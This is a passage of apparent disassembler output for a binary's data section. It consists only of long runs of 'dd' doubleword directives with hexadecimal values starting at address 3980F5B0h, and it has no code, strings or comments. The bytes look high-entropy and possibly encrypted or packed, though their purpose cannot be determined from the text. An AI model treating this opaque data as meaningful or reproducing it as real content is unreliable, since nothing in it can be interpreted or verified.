3980F5B0h dd 0EA9D61CAh, 4F29301h, 0B3690585h, 4C512F76h, 6FB809A7h dd 0C5021F6Eh, 0E37CF154h, 2CF3E57Ah, 5A611019h, 34AFA484h dd 0D482FBB6h, 83F6A29Dh, 920B40EFh, 927CB55Dh, 2FFC45E9h dd 462D2AF2h, 4CD4663h, 0E23766EDh, 0AAD4EF1Fh, 18860814h dd 0F1BFAD60h, 0B0D1375h, 1212AF4Dh, 33CB120Fh, 7135B700h dd 5EB53Fh, 62DE0D1h, 0E9F7D4EEh, 0D119AB2Bh, 88519E30h dd 75CBE4C1h, 9518B059h, 0D297C8F3h, 41319D82h, 2468DCADh dd 5FD8B85Bh, 7E078B01h, 0B92A36B2h, 27E93D0Dh, 65A4FC4Bh dd 6FB2AF41h, 0A18DB213h, 0E7B12A76h, 4ACF82FAh, 0AEEE2492h dd 0BD0C63D6h, 739065CAh, 0FBED192h, 774B99C2h, 23921498h dd 2BDD75AAh, 0CB2D5C15h, 0AD8285C2h, 0BA7F3F0Ch, 69F3C1ADh dd 0EF4BBB7Dh, 56C9331Eh, 7C46FF5Ah, 0A026F3B0h, 29016621h dd 5BD8E9FAh, 0ABCB435h, 6589DE25h, 52090F4Ch, 7412BD68h dd 0BC4FB976h, 468D93D9h, 0C9D571DAh, 0ED20AA70h, 8ABD07FCh dd 0A22CA366h, 95594219h, 5F61BE83h, 50E7EA21h, 5D596081h dd 0FB7DFF2Dh, 57F53D50h, 8927694Dh, 0BFD8708Fh, 5770D25Eh dd 1D8C824Ah, 50B828EAh, 38136818h, 0E1A243D7h, 803A77C2h dd 0BBE9BAA1h, 0D3DE24F5h, 0F83CEF9Eh, 0FDAC2B5Ah, 17AEBCE5h dd 3F53B9E9h, 0DAF940D9h, 20B94CA0h, 1B5C3E7h, 2073031Ch dd 6F86A17Ah, 0D6C96DB2h, 0AFEC67F5h, 5B6116D5h, 86DFBD5Dh dd 0E8F3057Ah, 0D9578106h, 1EA5566h, 386A3BECh, 0B8508102h dd 4D58EF79h, 6DF0E82h, 37E2AE78h, 417BE65Dh, 0E8B3E6Ah dd 0A655AC65h, 79CF2CE2h, 491DB1A6h, 2247FD65h, 6B7D5127h dd 126A6E7Fh, 358DFAE9h, 0C10FFE36h, 992A85D8h, 0BE2597A9h dd 0ECF2229Bh, 5A5F3450h, 81695688h, 0D25C7030h, 0EF72140h dd 4F4868DFh, 5870AE17h, 9003EFC1h, 90FF25B5h, 5EC47759h dd 5BDE01AAh, 0F888228Ah, 2E0E58C1h, 8CE92606h, 0B2D2755h dd 354A770Ah, 75D82477h, 31E23FACh, 3ABE4BD8h, 816BA02h dd 195F436h, 5FC42801h, 0ABF53F05h, 2F8C2420h, 0EF04EA7Eh dd 0CEFE00E2h, 7AC0F680h, 976FF828h, 71D4225Fh, 2027723Ah dd 62B58BC7h, 0E1C575EDh, 0F9635232h, 0A7628B53h, 97AA4CFDh dd 7B88D771h, 86AE30C6h, 4C556F1Bh, 0C0ECCFE4h, 67C6D60h dd 0D4586825h, 70E941D2h, 55BD2ABCh, 0C578D29Eh, 0FF8BAFD5h dd 0BA0B4F2Dh, 1231D3DEh, 373D2664h, 3F2B5207h, 81E26547h dd 824A616Dh, 62CEE318h, 140575B1h, 68C8EF31h, 0D1CD4E56h dd 2AC3E244h, 521E8AF3h, 0DD509C88h, 0E9C542D0h, 1B7142C3h dd 0E40C8082h, 0F9847739h, 7B01EA46h, 1F186FCh, 0C85D74EAh dd 183D02B5h, 0E4D74099h, 102102DCh, 0FA017330h, 0C998BB6Ch dd 33FF64C1h, 47E102Fh, 16A21FB8h, 18D1DF01h, 0B87A54DFh dd 4DBC4A08h, 0EDA8EFB4h, 0F691D2B4h, 0F2A60FF5h, 0F4868DEBh dd 4695CB0Eh, 465B0BA7h, 5A124C1Fh, 0A276A42h, 5808A244h dd 702C7655h, 0A86426E9h dd 0F1BF2D50h, 221C3030h, 592951B5h, 0F8F47FC8h, 1142568h dd 5B8B11D9h, 9BA6619h, 132C6D64h, 0D3409D4h, 0B7DAFC2h dd 0CF070E7Ch, 12154BFBh, 0DF25BF00h, 4521CE0Bh, 52C342F9h dd 0C209937Fh, 98D89Eh, 0F602EBC0h, 0ADF380DBh, 49BE54BFh dd 12393584h, 32A8A900h, 1C537519h, 0C9DC3DBBh, 0DB5231BCh dd 50EBE927h, 0A9AC5F1Fh, 16AD856Bh, 0C1A84EFAh, 3EAAF009h dd 0EF7E17F3h, 30C42324h, 4A87CFB0h, 6A9CBB2Ch, 484640CBh dd 656BD6ECh, 47E2FF2Ah, 0CBFC6060h, 0F1734394h, 1D82D44Ch dd 0F0E495EFh, 73FDDDE0h, 38EB2BE1h, 0A05DE9A8h, 0F45F304Bh dd 25B02BEh, 67EB8179h, 3AFC757Eh, 0FB33860Ah, 0E09CE90Bh dd 67F766A9h, 6BDD06D5h, 7F8D5402h, 79661E1h, 0D2C7C2DBh dd 0CEB72C5Eh, 0D6E4250Eh, 0E7741E09h, 0F33E8005h, 0BF129F72h dd 948002D0h, 3BE15E91h, 0F3B79CE8h, 0A025D1Dh, 79226D68h dd 780FD5Ah, 75C31407h, 0E1E9491Fh, 57BB24F2h, 0D9B734F8h dd 0F1FB3F75h, 60F26134h, 2C4DFC5Eh, 8BBD38FBh, 9B2DEC2h dd 0C67E372Fh, 3C6BCA80h, 91DF29DBh, 74D3081Eh, 5F28EB2Eh dd 0A673EA04h, 81C04172h, 69598C19h, 9A758E8Dh, 442B62DDh dd 129F5A65h, 0BBB3EE9Bh, 8280AC93h, 0F708E868h, 15306717h dd 0AC5C97E9h, 0CA6595A4h, 25D24188h, 28C18B4Ah, 36126F7Fh dd 88FACCABh, 0CBF8EC5Eh, 6434053Bh, 0E69CC208h, 0FF2529D1h dd 801400B6h, 16F156ECh, 96E97CCAh, 1E732077h, 13C6093Fh dd 717505C5h, 8B0B21EBh, 5AB98B01h, 1D4F4861h, 330B77Eh dd 29C90F8Fh, 220955C7h, 0A75BBCDEh, 0C4E15ABCh, 12155886h dd 287040B0h, 5E862320h, 175BBD6h, 84A03581h, 0B75D777Bh dd 5C93F90Fh, 7DC847BAh, 7A1EC0BFh, 0A89A541Bh, 13897523h dd 0E27AF1D5h, 0A9C48650h, 94A40ED7h, 3CB40CEBh, 0B50C489Eh dd 6EE41E13h, 70B78422h, 0B66CBDE6h, 928024Dh, 9A039C68h dd 0D9C602BFh, 0E0C000C3h, 214C0408h, 93EB3E65h, 50D187BEh dd 657E5B2Fh, 6657BF90h, 0B9242CFAh, 0E1E8B00h, 52CE0578h dd 0B8134A6Bh, 0E90740E2h, 7A8B6549h, 97747D0Fh, 7F1E4B08h dd 5FF549A2h, 0CD607A07h, 60580C3Dh, 3AA61825h, 89261AE2h dd 0F10069E9h, 38B161E0h, 19569F31h, 0BA538D03h, 0CF0C0429h dd 0A89C7E99h, 966817B5h, 9EDE4BA8h, 317C8AFEh, 0A1FF92E0h dd 0C4CB6E78h, 0A6D2B753h, 4AB34BF8h, 0A60AB740h, 8E37A88Bh dd 7DC52E64h, 0C7C10D9h, 816A7A68h, 0F6255E66h, 0D7E9C220h dd 5EC7D726h, 57AF6805h, 4C1F3850h, 7C191C1Fh, 5C237C2Fh dd 1623ED2Fh, 4BB2FA99h, 0F543B8A5h, 0E9DAF0BBh, 7756092Dh dd 6C1F0318h, 0DD7E8825h, 0A3E95318h, 0D335CD4Dh, 9FC1E2C8h dd 0F1580704h, 9DDC298Ch, 9CFE8592h, 0D9BD59A1h, 6ED578C3h dd 437ADCB7h, 0BEC45312h, 4B680E98h, 6630BF1Ah, 0EA4C41h dd 27E9B853h, 0D03123DFh, 896FAEC4h, 5F4FDCA4h, 0C6EBEC62h dd 9499DEF7h, 1102C99Ah, 9F7179A1h, 37575F1Eh, 0B5F10E90h dd 74EF25FCh, 2E28F054h, 495ABB09h, 96D006Bh, 0B423351Fh dd 0A308A0DCh, 0FF5C882h, 837E5FD3h, 5795AB52h, 85CBEA7h dd 74025CBh, 0AEE35060h, 0C777025Ah, 498E19D3h, 4FFF7DC0h dd 0B822B265h, 885AC84Ch, 0E30E1F03h, 7D007E16h, 555FA09h dd 9A0B1C35h, 0A0C3E96Ch, 160EBFC0h, 810C0107h, 6863FBE7h dd 1BF7D82Bh, 6E363113h, 80F09544h, 805A5904h, 1B21EEBEh dd 2BE1DA7Dh, 377ECECDh, 471FE24Fh, 3320DF72h, 0AB9EC765h dd 0FB550406h, 96018BD5h, 212561D6h, 98FFB02Fh, 4C052840h dd 6B3E3DE4h, 0A6DCC325h, 2B22FFD2h, 300541F8h, 0B46E00EFh dd 0BDF48036h, 0E6A8C6FCh, 0DF58F747h, 466208Eh, 670196BEh dd 490EA4Ch, 3C1CC85Dh, 6DC31A7h, 0DCF02D89h, 52C68013h dd 0F7C2F2A2h, 1FE6205Ah, 4C87584Fh, 4F97AD56h, 3653BF51h dd 7D80F6AFh, 0E471032Fh, 0F45E727Ah, 0B4F14B1Dh, 17090AEDh dd 7FEF2945h, 5A4F8DCEh, 15E8D5ACh, 0EB3D2197h, 6DE14B37h dd 9854EC2Bh, 0E0513218h, 8B77B4EDh, 0ADD1B78Bh, 750C9426h dd 0CC25D53h, 480A59B3h, 906410Ch, 564A5ADDh, 272DB426h dd 82211CFFh, 86FA56FDh, 67EFF1E9h, 0DF4C0598h, 6FA084FBh dd 1D4B025Fh, 58437E9Bh, 2E9A16BBh, 12498B40h, 54F8ED2Dh dd 6FF28181h, 84BAE6AAh, 603717DCh, 2A824FEh, 3F46E908h dd 339FC75Fh, 0EB8DDEE6h, 5C0BDE2h, 42616C95h, 305878EAh dd 96147A14h, 14EEC523h, 40072DF8h, 0D58220FBh, 3B762441h dd 5D5D210Bh, 2E54C849h, 9C85C9A3h, 0C5F3EBF5h, 0A7E11C89h dd 0BCB8F580h, 0A41FDE06h, 78A15497h, 9760ED7Eh, 0A21369ECh dd 843CED03h, 4FB8AC83h, 0B697CCB4h, 10344145h, 1B0709B9h dd 33804A21h, 690A7BC0h, 7F99649Fh, 9BE9EE9h, 0A104D4F6h dd 55D7CC11h, 6806804h, 0BEB6C1Dh, 0FFA540E7h, 0D72CAB59h dd 0ACB20E9h, 55E45C4Bh, 0CCAA1F0Dh, 5E4B89A8h, 22B5E244h dd 5ED59E19h, 91688AA3h, 0CEEB277Ah, 69281BD0h, 0C9814902h dd 0D5E0418Dh, 0A4158B00h, 8B58017h, 9302BBDBh, 0D7429D26h dd 80493EAh, 96E6A95Fh, 67B50DE0h, 2157CF89h, 0DA6D27BFh dd 81CCA663h, 0A6488863h, 4424840Ah, 0E9F80901h, 0CA3E183Fh dd 0BB5310A1h, 22D5E79Eh, 0FF52D51Fh, 2D683D10h, 100C3349h dd 813B0C06h, 4EE8E94Fh, 0BA4C53FBh, 94B46B12h, 165050EFh dd 0A3D03BAh, 216C6859h, 50C44D17h, 0B9E88E99h, 0BA77A32Eh dd 21D44978h, 5514D83Eh, 7216BD70h, 69120FDCh, 93234F0Eh dd 2D6E0BFAh, 0B722AEDFh, 0E92C42BFh, 0AA5C8BC8h, 0ABDDA289h dd 0A7A55C7Eh, 142DE8FEh, 6858131Eh, 0BB7ED4F9h, 991808CAh dd 9CF2E53Ch, 0D05B3A3Fh, 0DF13B2E2h, 5EEADDCh, 0FAAF0CDCh dd 0BE4E53A7h, 3ECA2E44h, 86C1AB13h, 0DA64D7B8h, 495FF80h dd 0AB4AC17Ah, 8B400C9Ah, 0B23500D4h, 34E58140h, 32676418h dd 0AFC1E60Ch, 71254521h, 28798DFCh, 1DA00124h, 0AF04698Ch dd 6E5335C1h, 0DDA1F9FCh, 0DAD53E8Ah, 87AA7112h, 0F2CB87A7h dd 51F5CDA8h, 1329A57Dh, 28E7DE88h, 259E7975h, 21682C54h dd 7DB2A666h, 203C8CFCh, 3DAED9D1h, 0FAE4039Ah, 0ABC0DCF6h dd 74ECC105h, 2FE0696h, 0E12084BCh, 0F15191A7h, 2B28CCF1h dd 2CC712E2h, 985277Eh, 0FFFE8505h, 0EE4EC9F7h, 0B4EDEE8Dh dd 53682289h, 34AAE1FDh, 0E3E1A338h, 2E8633BFh, 803F456h dd 0FC737030h, 38687688h, 36892CF4h, 0AE41D15Dh, 0F98BC803h dd 0E7B7FABDh, 0F87AA46Fh, 22493605h, 9FE114E9h, 5F44FA2Fh dd 0DFEC3DB5h, 0B92BDFB7h, 6FC3AA0h, 639D7199h, 7459EA22h dd 0D9B80190h, 6E43B164h, 1D8175E0h, 854DBAF1h, 0AF3CE963h dd 0B131FE8Dh, 0B73445F5h, 0BE77C07Ah, 646CA4C7h, 0E9A643B5h dd 0E227C635h, 87B0B04Eh, 2DF67582h, 88BFE87Ah, 7619BD7Bh dd 378CBBA2h, 0AA621101h, 0A052FF8Eh, 1711FE09h, 0A0645F76h dd 366E997h, 5FE75C6h, 0A68E8172h, 6309C53h, 2EEF4121h dd 70DA54ABh, 0D572A12Dh, 0D96B9509h, 16C50429h, 2E7B68F7h dd 67B088BCh, 9731955Fh, 6C5F4B83h, 0BF7E5587h, 0B9FC639h dd 8B4806F3h, 0E5981B88h, 0CA9E89Fh, 0D976821Eh, 16EBDE12h dd 0C16CF20Bh, 0E9BEF680h, 8B256CA7h, 4B58EC1Fh, 0C0E4C8BCh dd 0A174E02Ah, 0E8C1641Bh, 13BAF4FCh, 59B2ABDCh, 0BB3C7BC5h dd 0AAE128E2h, 76C004B4h dd 285C2CC3h, 0C4BF670Ah, 0AA4C54D2h, 1C8659C6h, 97701052h dd 0AC80AE09h, 2FC5CF1h, 0E9EB2995h, 4E7D4024h, 498CF62Bh dd 701AA63h, 5E7A4C4Bh, 0FCE28146h, 0E985B3B4h, 604BD5DAh dd 3D96CEE0h, 744D2A30h, 99117F5h, 0F6C2E960h, 8D5FD248h dd 0BF575401h, 38E40840h, 0BC8AD2Ah, 0F6B078F5h, 63C508C8h dd 9E04BF16h, 4EBF7683h, 3733FCA6h, 0D4EA84F1h, 75FDBFF9h dd 4EF5CAA5h, 0A0961392h, 0B72A2DF9h, 31B9279Eh, 750562D5h dd 0F10B44F8h, 0DA0D1974h, 5C989FB7h, 5864A6E9h, 3682EF69h dd 2DCC714Fh, 0A2305252h, 2EEBA5EAh, 8486273Bh, 0F79E807Fh dd 25E953D3h, 0B4FB6863h, 6720AB02h, 9946F703h, 6BCDE916h dd 1F3151E4h, 0FD16CA26h, 0C98F33FDh, 0F4C0C567h, 1EF6BDF3h dd 0A1C3944Ch, 42AE7C0h, 1F92C7E6h, 3E5102FBh, 5D5B0C80h dd 91E0CF96h, 9EDE595h, 2A648E06h, 27965560h, 9765901Dh dd 6BE99901h, 70D326Eh, 17697462h, 7F61DFB2h, 7FA0D744h dd 0B0973AFCh, 0BE6A871Fh, 8EAB62CDh, 3C7BEBD4h, 8152E4CEh dd 470F0E7Ch, 14DE2915h, 581608EDh, 0A72F8055h, 5AF01254h dd 780B090h, 744A97E9h, 0BB5AFE9h, 0BDE018E6h, 0E9817384h dd 0AAD1931h, 9417311Bh, 492998FFh, 9E3F5925h, 4B681228h dd 625242F4h, 0EA31558h, 0E66287D4h, 8EFDF907h, 7549714Eh dd 22E96DDh, 0C3CBB53h, 45401290h, 5A3B3997h, 84F30F72h dd 21A2E3BAh, 5B3D0BDAh, 525C61E9h, 0FB4ED953h, 9C421694h dd 7167F700h, 0E2C14A6Fh, 12F2C4C0h, 0B6BBA0AFh, 3F1226C0h dd 0BF4ED45Bh, 0ACE94890h, 0A948D2B3h, 0DA080142h, 0CD31B56Ah dd 80DC672Ah, 2B415BD2h, 0AA06019Fh, 29C9A43Fh, 227ED806h dd 0F71CFB0Ch, 7A5FD0DBh, 4DE9F8C6h, 532894F6h, 58297E9Fh dd 9120D551h, 2F49E390h, 54248BDh, 5F6F11B8h, 0D8062CEEh dd 0AD22E7B7h, 0B98A237Dh, 47A4F951h, 7EB9C96Eh, 0CA54DF5h dd 64088FF1h, 12482CDBh, 76CEC01h, 3EC644E3h, 8E2632F5h dd 9C58EE7Dh, 0EC684171h, 667B9772h, 4FFC2757h, 98102548h dd 54571370h, 6190991Eh, 1F69BE07h, 39763919h, 0ACFC0453h dd 80A4647Dh, 520EABF1h, 0EF097B7Ch, 86155432h, 831CF7C1h dd 141C4008h, 0F630B55Eh, 3314FCC7h, 25F42EB1h, 676D7E37h dd 0F611C151h, 0EA46F8D1h, 9FE0D582h, 7E638068h, 30A083D9h dd 745A5D1Ah, 0F0F189A7h, 0F8997505h, 6BF2600h, 0FAFA2135h dd 33666E27h, 0A3417FC5h, 12552FAh, 0CA0E80EAh, 88DA296Ch dd 1C3008C9h, 4B79083Ch, 2044CA3Dh, 194F2D01h, 5C7938C4h dd 5A168D4Eh, 0D478B92Dh, 5FA6C840h, 0B08A3044h, 0C1788812h dd 721C7EB5h, 2DE85BF7h, 6B279046h, 2804430h, 687DDD98h dd 0A3D9506Ah, 0C61FA582h, 0C1CA422Ch, 402A6F74h, 3FAEC36Dh dd 25F62BC7h, 0E0DCA0B5h, 130D6851h, 0E0144E3Bh, 0E0F2F5Ch dd 0BD572817h, 0EA0B4B25h, 69C6FC6Eh, 715AFF76h, 0B0026574h dd 0D716293Fh, 0DFBA148Bh, 8BB84027h, 55FC35D7h, 78425709h dd 840811FCh, 0D1310E87h, 987BF57h, 0D03A174h, 61F24993h dd 973E77DEh, 4789633Fh, 2DBAE4C2h, 9AD537C1h, 0DA626068h dd 44491B29h, 37F07841h, 0E1EC7552h, 0F47FFD28h, 0C9005B92h dd 1B204AB6h, 97DE93E9h, 0E7231F20h, 56123632h, 4BBFD689h dd 440F1F1h, 28275B66h, 32457DF0h, 0ABA497h, 89B35375h dd 4C3C3FEh, 989CE380h, 452CDEBh, 36E9DEB6h, 0C2C5D49Eh dd 0C77561DFh, 0D45E9977h, 8C052FD5h, 0AAAD69E9h, 0A8F7266Bh dd 0A808AB4Ch, 0D7762D86h, 83445A50h, 6EF7C1A7h, 6CA66119h dd 5953102Dh, 1EB0117h, 1E3F325Dh, 746F0009h, 20B4984Fh dd 682536F4h, 0C349DC0Eh, 5D5047B0h, 3016397Dh, 1F47120Ch dd 0DC2AA05h, 3682F570h, 0FADE2F75h, 85296463h, 0CF70E2FAh dd 86F45466h, 95A436CDh, 0C7F16156h, 0BD34007Bh, 151AD791h dd 9406EDF5h, 48BD325h, 9E12407h, 18C4DAC0h, 0E9FB1F85h dd 3C7E25EEh, 0FCCAE153h, 2B37D27Eh, 4C25FC56h, 5E7CF8DBh dd 25294284h, 0C0754E9Eh, 24239FDFh, 10A05502h, 6ABE1F96h dd 0D2782A89h, 753F0943h, 3A5542E1h, 0F50C096Fh, 58E7DB2h dd 362E0782h, 9DD152FDh, 19A29740h, 0C3254437h, 35F239F0h dd 8B4C2DE9h, 2888BAF1h, 3FDE2520h, 87544F18h, 578D0575h dd 972DE949h, 72EAA7BAh, 23E5C95Bh, 296C448Bh, 15F5C0Bh dd 2A9B765Bh, 8E946B05h, 4B7FA3EFh, 590F91EBh, 0D18A7A5Eh dd 0B49CF717h, 6428F096h, 0C3099119h, 0F4CD6933h, 0C3D027B5h dd 0E3B98486h, 0B1B87413h, 8F68BE5Fh, 0FD8441E5h, 82B17F3Dh dd 206E5BD1h, 2FDCE9F6h, 7E0431ABh, 44A041A8h, 6709C0BEh dd 5DB03D75h, 0D2131B09h, 42A6002Fh, 5E157148h, 1390AC31h dd 27AB8F45h, 89D1825Eh, 557E24DFh, 457AE456h, 0E7EA8282h dd 8DB20038h, 832CEA80h, 75396F28h, 0E4414E98h, 9706D904h dd 6BE58763h, 4DE048DCh, 5B9F5166h, 0EB0B16DDh, 7714CFC2h dd 51E92ED1h, 25F6A56h, 44F83F33h, 8A0F8F4h, 67E0F4B5h dd 0A75EE965h, 394F6841h, 678C7348h, 72E3111Fh, 5BF7460Dh dd 1F8B243Bh, 73B98995h, 5A827548h, 742B6C25h, 0F8719E7h dd 3F936889h, 2BD8DAD6h, 0A4ED4AE3h, 2761B061h, 6DEB3548h dd 55612761h, 0FBE5F24h, 47432534h, 82700033h, 292F7BAFh dd 0D4E9F509h, 1E0E7919h, 685642F7h, 2674729Fh, 78E41D2h dd 77ACA7Fh, 2158C589h, 98C15DF3h, 5EFA680Ah, 0ACE02530h dd 9D034F03h, 0C8FFC580h, 994EA268h, 0BCB68FAFh, 9E82C6CBh dd 33B24609h, 8B6A65D5h, 2D72A99Fh, 53685A0Bh, 8BBFD913h dd 62F64DE1h, 2F9B1B63h, 0C3763159h, 27A21DB6h, 2351F477h dd 4426E528h, 8350C66Fh, 1269EDEAh, 276AD010h, 0A98D55Ah dd 0F1BDF830h, 0A3E963B7h, 5677338Eh, 6382F030h, 20654F7h dd 0FA21FD0Bh, 0A65E555Fh, 3C650258h, 0CD2D1407h, 0F0956C94h dd 225A242Eh, 14EC4E93h, 0FA9E5B0Fh, 0F6EF5664h, 0DF5824F7h dd 553BB342h, 0E44A81CEh, 0A87A64ACh, 0D8B504ADh, 580672B9h dd 2A0F0E48h, 0B6F85785h, 0F19573BAh, 4BBDE03Fh, 6027F211h dd 58677429h, 7469FEE9h, 3934FC42h, 8006EC83h, 0ACF1D8C4h dd 5B0272A8h, 13147DD8h, 5C70D54Ch, 0B1EFDFFCh, 0DAD10306h dd 0AC75B680h, 0E91605DAh, 0DD884232h, 0BDCBA05Bh, 6F33813Fh dd 2017B3B6h, 551A73Bh, 59565DBAh, 43095385h, 0ECD025Fh dd 0B0D464B6h, 3E51735h, 2DEA869h, 4BF3CE81h, 8E9A41D0h dd 5827A668h, 2F0B1A7Bh, 80B67B44h, 7D3012BBh, 505BE47h dd 31146946h, 4172B1C1h, 0EB05C404h, 7FF301C1h, 777C2902h dd 0B329F42h, 0D3210048h, 2E5B147Ch, 0E84B45ADh, 1069A1B4h dd 97834802h, 0FEAD063Eh, 123068B5h, 0C8E00769h, 0D3FA0959h dd 302D6FD5h, 2FB7C25Dh, 3BC986F8h, 0E2250032h, 40223148h dd 4D03B535h, 740D0BA2h, 2D69F112h, 4C9D17DCh, 1925A26Bh dd 5580AD7Bh, 7626B850h, 406E001Bh, 32072C05h, 0D62EE91Ch dd 54ADF0A5h, 41FC2772h, 6C9D2DAAh, 0E2FA27C2h, 0D5EB33FCh dd 64973B1Ch, 2C72559h, 386439D9h, 0DC3058D0h, 525B0166h dd 0EE805FB6h, 3AF920F8h, 4F28180h, 0D1ECF1E7h, 0E143AA29h dd 4A47E8E9h, 13C5ECB7h, 92FC83F7h, 3C956883h, 2DA8EB84h dd 3225B4F1h, 1508D316h, 0C96805EAh, 77E74915h, 13BE9A20h dd 3E558410h, 710840D3h dd 465F6928h, 4EA4DABh, 2CF511DCh, 0F8BF60FDh, 0E6DF72F6h dd 7849592h, 0C5EBE6ABh, 90EAFB01h, 0F31795ECh, 38F511Eh dd 0B082B54h, 0A9FE3CE9h, 1E907C9Bh, 0C0A09739h, 24542977h dd 9FEF0859h, 83A0E6D6h, 0DBD69D05h, 0F56BDE21h, 0D7EC1F09h dd 0A9742F21h, 61FB02D1h, 858032E4h, 7B82537Ah, 0B5F060B7h dd 1AE1766h, 4F481AF0h, 5165ED79h, 59417C82h, 7880ED6Fh dd 84AEB445h, 4AE5F71Bh, 7ECEA0h, 0CE056D37h, 2D450277h dd 0E30F1400h, 7A8D0D7Fh, 9447AFDh, 7232ED76h, 0BE0938D6h dd 4647F95Eh, 21FC65D5h, 7EA5D057h, 311F52BDh, 17312E06h dd 2EF23951h, 0F020EB3h, 0D65AD331h, 2DD02D85h, 15120D4Eh dd 5B9F8EBEh, 2B074F80h, 9DBB0450h, 0A0405C0Bh, 0F4972921h dd 0F461252h, 0FA29C297h, 0E989D4C5h, 5ED05801h, 5F78A666h dd 0E4091BE9h, 508F2EB0h, 715D28B9h, 6A19E0A1h, 0D9FD7EE1h dd 26F20B92h, 6AAC8461h, 47910875h, 8421C01Bh, 4DDC06BFh dd 572CB50Eh, 0E5040612h, 5793032h, 6C6DF731h, 0A82B63B8h dd 464089A6h, 0F72A110h, 0D2F77589h, 784C5080h, 93FA61D3h dd 23BC024Fh, 0A52FC6B1h, 474CDF54h, 0ADA4FD95h, 4E19C257h dd 2B0B8FABh, 0D2CA5D02h, 0A7D2F90Bh, 7CDFB2F5h, 6557D200h dd 5270B625h, 6B50599Fh, 8B5E47FFh, 0B6F2F6E9h, 8A7BC7BFh dd 0A7EF3BE9h, 0C0318BFEh, 0C93A343Ch, 0E9D0C1A6h, 26CD3CF4h dd 987EFF7h, 0BFFF7A22h, 4DFB4C15h, 685680CDh, 5D9E36A8h dd 2778EA23h, 0F3DC5A44h, 0F812A0C8h, 3116AEFCh, 682DFBC8h dd 525F1582h, 7E7CCDE9h, 0A0D90C32h, 0EAC166CFh, 8870E903h dd 0A676145h, 0FA63B2F2h, 5427B276h, 0B0663EAEh, 681359DEh dd 2EEF410Eh, 28FF5B3Bh, 2C79E9ECh, 252AF197h, 0D9DCCBD7h dd 45705DEBh, 98559589h, 5490683Ch, 40CFBC78h, 0D577F649h dd 0C6E574Dh, 88EED15Dh, 37DB16AFh, 0A625EBC7h, 0F70BB82h dd 4A24FE4Ch, 5BED1813h, 6F987F01h, 0E4891221h, 0C8F2DEE0h dd 0E245EB5h, 0E30262B4h, 18755866h, 0BBC58885h, 53500E74h dd 3AFDFC5Eh, 0F8AC58E7h, 0C2843CABh, 8D7CA568h, 86D4F95Ah dd 51B3E926h, 57582873h, 786D2EFFh, 45572722h, 0C7C2A782h dd 31D2B440h, 0AD92C039h, 61C95EC6h, 6A1E3E68h, 0E35153D8h dd 8284E32Bh, 42FFB966h, 8F618203h, 840F0081h, 0A4959CC7h dd 0CCDC28A7h, 0BB305438h, 0AA015B5Ah, 63EF8C65h, 95C5AAB6h dd 0CCC0AB92h, 0C14BC371h, 2A73ACEAh, 0B63D167Eh, 0A8E826D9h dd 3FCAEEF7h, 31A54CADh, 0ED012770h, 77C31897h, 962CDFE9h dd 8D725B27h, 68834526h, 59323AC2h, 47378DAFh, 0FA74A721h dd 0E01620D2h, 0C04DB307h, 0BCA407EBh, 0CECC40AAh, 675536E5h dd 4987197h, 0FD48EFE9h, 3E705D8h, 4CF26B70h, 4CCE3601h dd 0EE32E915h, 0BF5BB877h, 1CCDE878h, 0C4CF816Eh, 0C017DF34h dd 24C49730h, 8444E160h, 4E558F0Dh, 4A9C429h, 0F85AE908h dd 445B2F1Ch, 0C280910Ch, 0F50B4D47h, 93E3BE61h, 0DC80040Ah dd 9E4AF97h, 57D0E9FBh, 0BD111E5Fh, 60FD7429h, 51F22995h dd 0EB17F7E9h, 7FAB8562h, 7977EA1Ah, 435D8B74h, 0D54BB2D9h dd 0E92F7ECEh, 59668166h, 0D332F389h, 608C1866h, 0B0C9BD0Bh dd 6D9A02F8h, 0C5810154h, 40317006h, 0AD8B0CC1h, 0FC93BFEAh dd 0DDA2B84Eh, 0E0C38087h, 0D22EB33h, 0CB28CA06h, 0C8C3D616h dd 0D2D80FDFh, 318082F2h, 5082CFF7h, 938EA896h, 0F2DEC506h dd 40583B12h, 0A6044CA5h, 0C5B4BF2Dh, 24505FACh, 28298193h dd 0D9B8002Dh, 4C640078h, 50F2540h, 71BD53E5h, 402C01h dd 66913619h, 7395E868h, 10D204Eh, 52F7EF81h, 2A2967C7h dd 27081F10h, 3A92D35Eh, 0E86AB7F3h, 0AACD80C1h, 52E75CFh dd 16423119h, 1D715781h, 0E8E8CC09h, 0C25E9CDDh, 0F61CB70Dh dd 0A91012D6h, 454B523Fh, 0A450D20Eh, 0C69F03AAh, 0EFCBF1Eh dd 8BAA4AA5h, 56381833h, 0A115F450h, 1F206A95h, 5D91CEE8h dd 2C43A0F8h, 79F848A0h, 3FDDD682h, 0CAF47E16h, 46A11086h dd 7152B802h, 40DF7FF7h, 0CA358Dh, 52A0417h, 4C6878E4h dd 7239C0F4h, 0C1011863h, 0B7470B54h, 68D9C33Bh, 0C66B81FEh dd 3F8C67C5h, 6B4C0C82h, 5375780Fh, 37090E4Eh, 26CABB13h dd 0A2CAF85Bh, 8D3AF557h, 5817F45Dh, 68976973h, 0A4F7D5B6h dd 24DA9F8Bh, 7A30769Dh, 0F049E4ECh, 77BA5AA5h, 0E255EB3Fh dd 3FC2848Dh, 778DB800h, 0E1BF288Ch, 5A249107h, 16D7975Fh dd 1CDF9515h, 0C245990Eh, 1240EA68h, 0BE80F216h, 2C1E13FBh dd 1AD0BF42h, 4FD50C73h, 0B2A2AC79h, 0C4D9B9h, 0BB535205h dd 0DE076D2Ah, 0AFA0BA3Ch, 9C2342Ch, 56C3575Fh, 40EABAC1h dd 3558E908h, 0ED813DB4h, 2E510717h, 0FE02163Ah, 0F7BB7985h dd 35688211h, 55D89A4Ch, 0D088D054h, 0B15B122Eh, 2D2481B6h dd 4A103FB5h, 7D0F13Eh, 5B115007h, 2D5F6EF2h, 0DF584DE9h dd 7995C620h, 0EF57124Dh, 0E9C605E2h, 0B5072DBAh, 5DCD807Dh dd 8870C531h, 0E3E47331h, 0C3FE0B0Fh, 82F7DBF6h, 6825E92Bh dd 94BBE9Bh, 29718221h, 0C4CC2057h, 9D6C4603h, 11DAF9E4h dd 18170D1Ch, 5ADCF86Eh, 29DE3844h, 70DB5F0Ah, 0D180966Dh dd 6F72B7E2h, 4B3D2B38h, 4B3FDEEBh, 38548EBEh, 20A270BBh dd 9A952D5Fh, 63237D30h, 305E1839h, 0A0011A91h, 0E92408CFh dd 509D82FBh, 1047198Bh, 0B5485574h, 7CB01EC4h, 62E52D1Ch dd 0B2FE6452h, 0D2BD026Dh, 612C3F29h, 14816D4Ah, 0AAF3FA35h dd 2DE17BCEh, 0E9AA806Eh, 0D7944F01h, 90685A40h, 918DA85Bh dd 0AE91C6h, 